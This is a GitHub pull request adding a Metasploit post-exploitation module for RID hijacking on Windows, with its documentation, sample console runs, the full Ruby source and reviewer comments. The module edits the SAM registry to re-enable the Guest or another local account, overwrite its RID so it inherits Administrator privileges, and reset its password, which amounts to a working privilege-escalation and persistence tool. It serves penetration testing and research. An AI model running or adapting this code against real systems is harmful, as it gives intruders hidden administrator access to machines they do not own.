Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add post module RID Hijacking on Windows #9595

Merged
merged 4 commits into from
Apr 3, 2018
Merged
Show file tree
Hide file tree
Changes from 2 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
146 changes: 146 additions & 0 deletions documentation/modules/post/windows/manage/rid_hijack.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,146 @@
## Overview

This module will create an entry on the target by modifying some properties of an existing account. It will change the account attributes by setting a Relative Identifier (RID), which should be owned by one existing account on the destination machine.

Taking advantage of some Windows Local Users Management integrity issues, this module will allow to authenticate with one known account credentials (like GUEST account), and access with the privileges of another existing account (like ADMINISTRATOR account), even if the spoofed account is disabled.

By using a `meterpreter` session against a Windows host, the module will try to acquire _**SYSTEM**_ privileges if needed, and will modify some attributes to hijack the permissions of an existing local account and set them to another one.

## Vulnerable Software

This module has been tested against.

- Windows XP, 2003. (32 bits)
- Windows 8.1 Pro. (64 bits)
- Windows 10. (64 bits)
- Windows Server 2012. (64 bits)

This module was not tested against, but may work against:

- Other versions of windows (x86 and x64).

## Options

- **GETSYSTEM**: Try to get _**SYSTEM**_ privileges on the victim. Default: `false`

- **GUEST_ACCOUNT**: Use the _**GUEST**_ built-in account as the destination of the privileges to be hijacked . Set this account as the _hijacker_. Default: `false`.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

no space between hijacked and .


- **SESSION**: The session to run this module on. Default: `none`.

- **USERNAME**: Set an user account (_SAM Account Name_) of the victim host and use it as the destination of the privileges to be _hijacked_. Set this account as the _hijacker_. If **GUEST_ACCOUNT** option is set to `true`, this parameter will be ignored if defined. Default: `none`.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

an = the?


- **PASSWORD**: Set or change the password of the account defined as the destination of the privileges to be hijacked, either _**GUEST**_ account or the user account set in **USERNAME** option. Set password to the _hijacker_ account. Default: `none`.

- **RID**: Specify the RID number in decimal of the _victim account_. This number should be the RID of an existing account on the target host, no matter if it is disabled (i.e.: The RID of the _**Administrator**_ built-in account is 500). Set the RID owned by the account that will be _hijacked_. Default: `500`

## Verification steps

1. Get a `meterpreter` session on some host.
2. Do: `use post/windows/manage/rid_hijack`
3. Do: `set SESSION <SESSION_ID>` replacing <SESSION_ID> with the desired session.
4. Do: `set GET_SYSTEM true`.
5. Do: `set GUEST_ACCOUNT true`.
6. Do: `run`
7. Log in on the victim host with the GUEST account credentials.

## Scenarios
### Assigning Administrator privileges to Guest built-in account.
```
msf post(rid_hijack) > set GETSYSTEM true
GETSYSTEM => true
msf post(rid_hijack) > set GUEST_ACCOUNT true
GUEST_ACCOUNT => true
msf post(rid_hijack) > set SESSION 1
SESSION => 1
msf post(rid_hijack) > run

[*] Checking for SYSTEM privileges on session
[+] Session is already running with SYSTEM privileges
[*] Target OS: Windows 8.1 (Build 9600).
[*] Target account: Guest Account
[*] Target account username: Invitado
[*] Target account RID: 501
[*] Account is disabled, activating...
[+] Target account enabled
[*] Overwriting RID
[+] The RID 500 is set to the account Invitado with original RID 501
[*] Post module execution completed
```
#### Results after login in as the Guest account.

![guest_account](https://user-images.githubusercontent.com/14118912/36490462-4bf84d68-16f6-11e8-811c-bf2d8c42b93d.PNG)

### Assigning Administrator privileges to local custom account.
```
msf post(rid_hijack) > set GETSYSTEM true
GETSYSTEM => true
msf post(rid_hijack) > set GUEST_ACCOUNT false
GUEST_ACCOUNT => false
msf post(rid_hijack) > set USERNAME testuser
USERNAME => testuser
msf post(rid_hijack) > run

[*] Checking for SYSTEM privileges on session
[+] Session is already running with SYSTEM privileges
[*] Target OS: Windows 8.1 (Build 9600).
[*] Checking users...
[+] Found testuser account!
[*] Target account username: testuser
[*] Target account RID: 1002
[+] Target account is already enabled
[*] Overwriting RID
[+] The RID 500 is set to the account testuser with original RID 1002
[*] Post module execution completed
```
#### Results after login in as the _testuser_ account.
![testuser](https://user-images.githubusercontent.com/14118912/36490561-837bd2f0-16f6-11e8-8dc6-53283bb4d9ea.PNG)

### Assigning custom privileges to Guest built-in account and setting new password to Guest.
```
msf post(rid_hijack) > set GUEST_ACCOUNT true
GUEST_ACCOUNT => true
msf post(rid_hijack) > set RID 1002
RID => 1002
msf post(rid_hijack) > set PASSWORD Password.1
PASSWORD => Password.1
msf post(rid_hijack) > run

[*] Checking for SYSTEM privileges on session
[+] Session is already running with SYSTEM privileges
[*] Target OS: Windows 8.1 (Build 9600).
[*] Target account: Guest Account
[*] Target account username: Invitado
[*] Target account RID: 501
[+] Target account is already enabled
[*] Overwriting RID
[+] The RID 1002 is set to the account Invitado with original RID 501
[*] Setting Invitado password to Password.1
[*] Post module execution completed
```
### Assigning custom privileges to local custom account and setting new password to custom account.
```
msf post(rid_hijack) > set GUEST_ACCOUNT false
GUEST_ACCOUNT => false
msf post(rid_hijack) > set USERNAME testuser
USERNAME => testuser
msf post(rid_hijack) > set PASSWORD Password.2
PASSWORD => Password.2
msf post(rid_hijack) > run

[*] Checking for SYSTEM privileges on session
[+] Session is already running with SYSTEM privileges
[*] Target OS: Windows 8.1 (Build 9600).
[*] Checking users...
[+] Found testuser account!
[*] Target account username: testuser
[*] Target account RID: 1002
[+] Target account is already enabled
[*] Overwriting RID
[+] The RID 1002 is set to the account testuser with original RID 1002
[*] Setting testuser password to Password.2
[*] Post module execution completed
```

## Reference
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Remove this, and put the website up in the overview. I'd suggest something like:
For more information see [csl.com.co](http://csl.com.co/rid-hijacking/).


http://csl.com.co/rid-hijacking/
188 changes: 188 additions & 0 deletions modules/post/windows/manage/rid_hijack.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,188 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry
include Msf::Post::Windows::Priv

def initialize(info={})
super( update_info( info,
'Name' => 'Windows Manage RID Hijacking',
'Description' => %q{
This module will create an entry on the target by modifying some properties
of an existing account. It will change the account attributes by setting a
Relative Identifier (RID), which should be owned by one existing
account on the destination machine.

Taking advantage of some Windows Local Users Management integrity issues,
this module will allow to authenticate with one known account
credentials (like GUEST account), and access with the privileges of another
existing account (like ADMINISTRATOR account), even if the spoofed account is
disabled.
},
'License' => MSF_LICENSE,
'Author' => 'Sebastian Castro <sebastian.castro[at]cslcolombia.com>',
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'References' => [
[ 'URL', 'http://csl.com.co/rid-hijacking/']
]
))

register_options(
[
OptBool.new('GETSYSTEM', [true, 'Attempt to get SYSTEM privilege on the target host.', false]),
OptBool.new('GUEST_ACCOUNT', [true, 'Assign the defined RID to the Guest Account.', false]),
OptString.new('USERNAME', [false, 'User to set the defined RID.']),
OptString.new('PASSWORD', [false, 'Password to set to the defined user account.']),
OptInt.new('RID', [true, 'RID to set to the specified account.', 500]),
])
end

def get_system
results = session.priv.getsystem
if results[0]
return true
else
return false
end
end

def get_name_from_rid(reg_key, rid, names_key)
names_key.each do |name|
skey = registry_getvalinfo(reg_key + "\\Names\\#{name}", "")
rid_user = skey['Type']
if rid_user == rid
return name
end
end
return nil
end

def get_user_rid(reg_key, username, names_key)
names_key.each do |name|
if (name.casecmp(username) == 0)
print_good("Found #{name} account!")
skey = registry_getvalinfo(reg_key + "\\Names\\#{name}", "")
rid = skey['Type']
return rid
if not skey
print_error("Could not open user's key")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This code will never get executed? Did you maybe forget an 'end'?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

FYI, I suggest running rubocop on this code, as there are some ruby-centric sylistic issues: https://github.com/rapid7/metasploit-framework/wiki/Using-Rubocop
Nothing bad, since it is a lot of "ruby-isms" like parentheses, whitespace, etc. Please read through the rubocop usage and then take a look at the suggestions from rubocop. Like it says in the wiki, we are not looking for 0 offenses, as sometimes, rubocop can be a bit overzealous, but if you ignore suggestions, there should be a reason for doing so.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This code is executed when the module runs with GUEST_ACCOUNT false and USERNAME set. That's the case when you want to modify the attributes of a custom local account (even another built-in account) instead of the Guest built-in account.

return -1
end
end
end
return -1
end

def check_active(f)
if f[0x38].unpack("H*")[0].to_i != 10
return true
else
return false
end
end

def swap_rid(f, rid)
# This function will set hex format to a given RID integer
hex = [("%04x" % rid).scan(/.{2}/).reverse.join].pack("H*")
# Overwrite new RID at offset 0x30
f[0x30, 2] = hex
return f
end

def run
# Registry key to manipulate
reg_key = 'HKLM\\SAM\\SAM\\Domains\\Account\\Users'

# Checks privileges of the session, and tries to get SYSTEM privileges if needed.
print_status("Checking for SYSTEM privileges on session")
unless(is_system?())
if (datastore['GETSYSTEM'])
print_status("Trying to get SYSTEM privileges")
if get_system
print_good("Got SYSTEM privileges")
else
print_error("Could not obtain SYSTEM privileges")
return
end
else
print_error("Session is not running with SYSTEM privileges. Try setting GETSYSTEM ")
return
end
else
print_good("Session is already running with SYSTEM privileges")
end

# Checks the Windows Version.
wver = sysinfo()["OS"]
print_status("Target OS: #{wver}")

# Load the usernames from SAM Registry key
names_key = registry_enumkeys(reg_key + '\\Names')
unless names_key
print_error("Could not access to SAM registry keys")
return
end

# If username is set, looks for it in SAM registry key
user_rid = -1
username = datastore['USERNAME']
if (datastore['GUEST_ACCOUNT'])
user_rid = 0x1f5
print_status("Target account: Guest Account")
username = get_name_from_rid(reg_key, user_rid, names_key)
else
if (datastore['USERNAME'].to_s.empty?)
print_error("You must set an username or enable GUEST_ACCOUNT option")
return
end
print_status('Checking users...')
user_rid = get_user_rid(reg_key, datastore['USERNAME'], names_key)
end

# Result of the RID harvesting
if user_rid == -1
print_error("Could not find the specified username")
return
else
print_status("Target account username: #{username}")
print_status("Target account RID: #{user_rid}")
end

# Search the Registry associated to the user's RID and overwrites it
users_key = registry_enumkeys(reg_key)
users_key.each do |r|
next if r.to_i(16) != user_rid
f = registry_getvaldata(reg_key + "\\#{r}", "F")
if check_active(f)
print_status("Account is disabled, activating...")
f[0x38] = ["10"].pack("H")
print_good("Target account enabled")
else
print_good("Target account is already enabled")
end

print_status("Overwriting RID")
# Overwrite RID to specified RID
f = swap_rid(f, datastore['RID'])

open_key = registry_setvaldata(reg_key + "\\#{r}", "F", f, "REG_BINARY")
unless open_key
print_error("Can't write to registry... Something's wrong!")
return
end
print_good("The RID #{datastore['RID']} is set to the account #{username} with original RID #{user_rid}")

# If set, changes the specified username's password
if (datastore['PASSWORD'])
print_status("Setting #{username} password to #{datastore['PASSWORD']}")
cmd = cmd_exec('cmd.exe', "/c net user #{username} #{datastore['PASSWORD']}")
vprint_status("#{cmd}")
end
end
end
end